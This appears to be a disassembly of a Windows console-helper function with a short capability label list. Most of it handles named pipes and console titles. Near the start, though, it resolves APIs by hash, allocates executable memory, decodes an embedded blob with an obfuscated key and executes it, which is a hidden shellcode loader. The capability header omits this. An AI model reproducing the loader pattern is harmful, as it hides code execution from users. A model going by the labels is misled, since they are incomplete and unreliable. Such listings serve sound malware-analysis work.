Function at 0x401be0
Capabilities:
Read file on windows
Set console window title

Disassembly:
sub esp, 0x848
mov eax, dword [0x406010]
xor eax, esp
mov dword [esp + 0x844], eax
push 0
push 0
push str.schtasks.exe
mov dword [esp + 0x10], 0x442c83
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
test eax, eax
je 0x401c21
mov dword [esp + 4], 0xcfdb
mov dword [0x406008], 0x5887
push ebx
mov ebx, dword [sym.imp.MSVCR90.dll__time64]
push ebp
push esi
mov esi, dword [sym.imp.MSVCR90.dll_srand]
push edi
mov edi, dword [sym.imp.MSVCR90.dll_rand]
push 0
call ebx
push eax
call esi
add esp, 8
call edi
and eax, 0x80000003
jns 0x401c4f
dec eax
or eax, 0xfffffffc
inc eax
inc eax
cmp eax, 3
jle 0x401c37
mov ecx, 7
mov esi, str.ZWFK_p_WuWAbCPE9hXT_GXQLKwF
lea edi, [esp + 0x24]
rep movsd dword es:[edi], dword [esi]
push 0x22edae
movsw word es:[edi], word [esi]
call fcn.0040103c
mov esi, eax
push 0x1e27f4fd
push esi
call fcn.00401014
push 0xbce8a04f
push esi
mov edi, eax
call fcn.00401014
push 0x5e97c023
push esi
mov dword [esp + 0x34], eax
call fcn.00401014
push 0x355a1f6f
push esi
mov ebp, eax
call fcn.00401014
push 0x5b9200a9
push esi
mov ebx, eax
call fcn.00401014
add esp, 0x2c
mov dword [esp + 0x1c], eax
movzx eax, word [esp + 0x14]
push 0xa
push eax
push 0
call edi
mov esi, eax
test esi, esi
je 0x402068
push esi
push 0
call dword [esp + 0x20]
mov dword [esp + 0x18], eax
test eax, eax
je 0x402068
push esi
push 0
call ebp
push 0
push 0x40
push str.4096
mov edi, eax
call dword [sym.imp.MSVCR90.dll_atoi]
add esp, 4
or eax, 0x2000
push eax
push edi
push 0
call dword [esp + 0x30]
push eax
call ebx
mov esi, eax
test esi, esi
je 0x402068
mov ecx, dword [esp + 0x18]
push edi
push ecx
push esi
call sub.MSVCR90.dll_memcpy
push esi
push 0x1e
lea edx, [esp + 0x38]
push edx
push edi
push esi
call fcn.00401032
add esp, 0x20
call esi
cmp dword [esp + 0x1c], 1
je 0x40207a
mov eax, dword [esp + 0x88]
test eax, eax
je 0x40207a
cmp byte [eax], 0
je 0x40207a
push eax
lea eax, [esp + 0x48]
push str..pipe_s
push eax
call dword [sym.imp.MSVCR90.dll_sprintf]
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
add esp, 0xc
push 0
push 0
push 3
push 0
push 0
push 0x80000000
lea ecx, [esp + 0x5c]
push ecx
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0x406148], eax
cmp eax, 0xffffffff
jne 0x401dfc
mov ebx, dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
call ebp
cmp eax, 0xe7
jne 0x40204e
push str.Wait_for_pipe...
call dword [sym.imp.MSVCR90.dll_printf]
add esp, 4
push 0x4e20
lea edx, [esp + 0x48]
push edx
call ebx
test eax, eax
je 0x40206c
push 0x1f4
call edi
push 0
push 0
push 3
push 0
push 0
push 0x80000000
lea eax, [esp + 0x5c]
push eax
call esi
mov dword [0x406148], eax
cmp eax, 0xffffffff
je 0x401da6
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
xor esi, esi
mov byte [esp + 0x13], 1
mov byte [esp + 0x483], 0
push 0
lea ecx, [esp + 0x24]
push ecx
push 1
lea edx, [esp + 0x1f]
push edx
push eax
call edi
test eax, eax
jne 0x401e2f
call ebp
cmp eax, 0xea
jne 0x401e4e
mov al, byte [esp + 0x13]
mov byte [esp + esi + 0x84], al
inc esi
test al, al
je 0x401e5f
cmp esi, 0x3ff
ja 0x401e5f
mov eax, dword [0x406148]
jmp 0x401e11
push 0
push str.FAILED
push str.ReadFile_failed
jmp 0x402086
mov edi, dword [sym.imp.MSVCR90.dll_strstr]
lea eax, [esp + 0x84]
push str.TITLE:
push eax
mov byte [esp + esi + 0x8c], 0
call edi
add esp, 8
test eax, eax
je 0x401e95
add eax, 6
mov cl, byte [eax]
cmp cl, 0x20
je 0x401e92
cmp cl, 9
jne 0x401e95
inc eax
jmp 0x401e86
cmp byte [eax], 0
mov esi, eax
je 0x401eb2
lea esp, [esp]
mov cl, byte [esi]
cmp cl, 0xd
je 0x401eb2
cmp cl, 0xa
je 0x401eb2
inc esi
cmp byte [esi], 0
jne 0x401ea0
mov cl, byte [esi]
mov byte [esp + 0x13], cl
push eax
mov byte [esi], 0
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov dl, byte [esp + 0x13]
mov byte [esi], dl
lea edx, [esp + 0x84]
xor eax, eax
xor ecx, ecx
push str.BUFFER_SIZE:
push edx
mov word [esp + 0x1e], ax
mov word [esp + 0x1c], cx
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_GetStdHandle]
add esp, 8
test eax, eax
je 0x401f96
add eax, 0xc
lea esp, [esp]
mov cl, byte [eax]
cmp cl, 0x20
je 0x401f0c
cmp cl, 9
jne 0x401f0f
inc eax
jmp 0x401f00
cmp byte [eax], 0
mov esi, eax
je 0x401f28
mov cl, byte [esi]
cmp cl, 0x2c
je 0x401f28
cmp cl, 0x78
je 0x401f28
inc esi
cmp byte [esi], 0
jne 0x401f16
mov cl, byte [esi]
mov ebx, dword [sym.imp.MSVCR90.dll_atoi]
mov byte [esp + 0x13], cl
push eax
mov byte [esi], 0
call ebx
mov dl, byte [esp + 0x17]
add esp, 4
mov di, ax
mov word [esp + 0x14], di
mov byte [esi], dl
lea ecx, [esi + 1]
test dl, dl
je 0x401f62
mov al, byte [esi]
cmp al, 0xd
je 0x401f62
cmp al, 0xa
je 0x401f62
inc esi
cmp byte [esi], 0
jne 0x401f52
mov al, byte [esi]
mov byte [esp + 0x13], al
push ecx
mov byte [esi], 0
call ebx
mov cl, byte [esp + 0x17]
add esp, 4
mov word [esp + 0x16], ax
mov byte [esi], cl
test di, di
je 0x401f96
test ax, ax
je 0x401f96
mov edx, dword [esp + 0x14]
push edx
push 0xfffffffffffffff5
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
lea eax, [esp + 0x84]
push str.Extended_Console:_TRUE
push eax
call dword [sym.imp.MSVCR90.dll_strstr]
add esp, 8
test eax, eax
je 0x401fba
mov dword [0x406150], 1
push 0xfffffffffffffff5
call ebp
push 0x406130
push eax
mov dword [section..data], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
test eax, eax
jne 0x401fef
push eax
push str.FAILURE
push str.GetConsoleScreenBufferInfo_failed
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
mov eax, 0xfffffffd
jmp 0x402091
mov eax, dword [0x406130]
movsx ecx, word [0x406132]
movsx edx, ax
imul ecx, edx
cmp dword [0x406150], 0
mov dword [0x40614c], eax
mov dword [0x406154], ecx
je 0x40201c
call fcn.0040104b
jmp 0x402021
call fcn.00401050
mov eax, dword [0x406148]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.MSVCR90.dll_printf]
push str._r_nPress_any_key_to_end..._r_n
call esi
call dword [sym.imp.MSVCR90.dll_getchar]
push str._r_nConsoleHelper_Ended_r_n
call esi
add esp, 8
xor eax, eax
jmp 0x402091
push 0
push str.FAILED
push str.Could_not_open_pipe_1_
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
call dword [sym.imp.MSVCR90.dll_getchar]
xor eax, eax
jmp 0x402091
push 0
push str.FAILED
push str.Could_not_open_pipe_2_
jmp 0x40205a
push 0
push str.FAILED
push str._nFailed_to_start_logger_n
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
or eax, 0xffffffff
mov ecx, dword [esp + 0x854]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00402258
add esp, 0x848
ret 0x10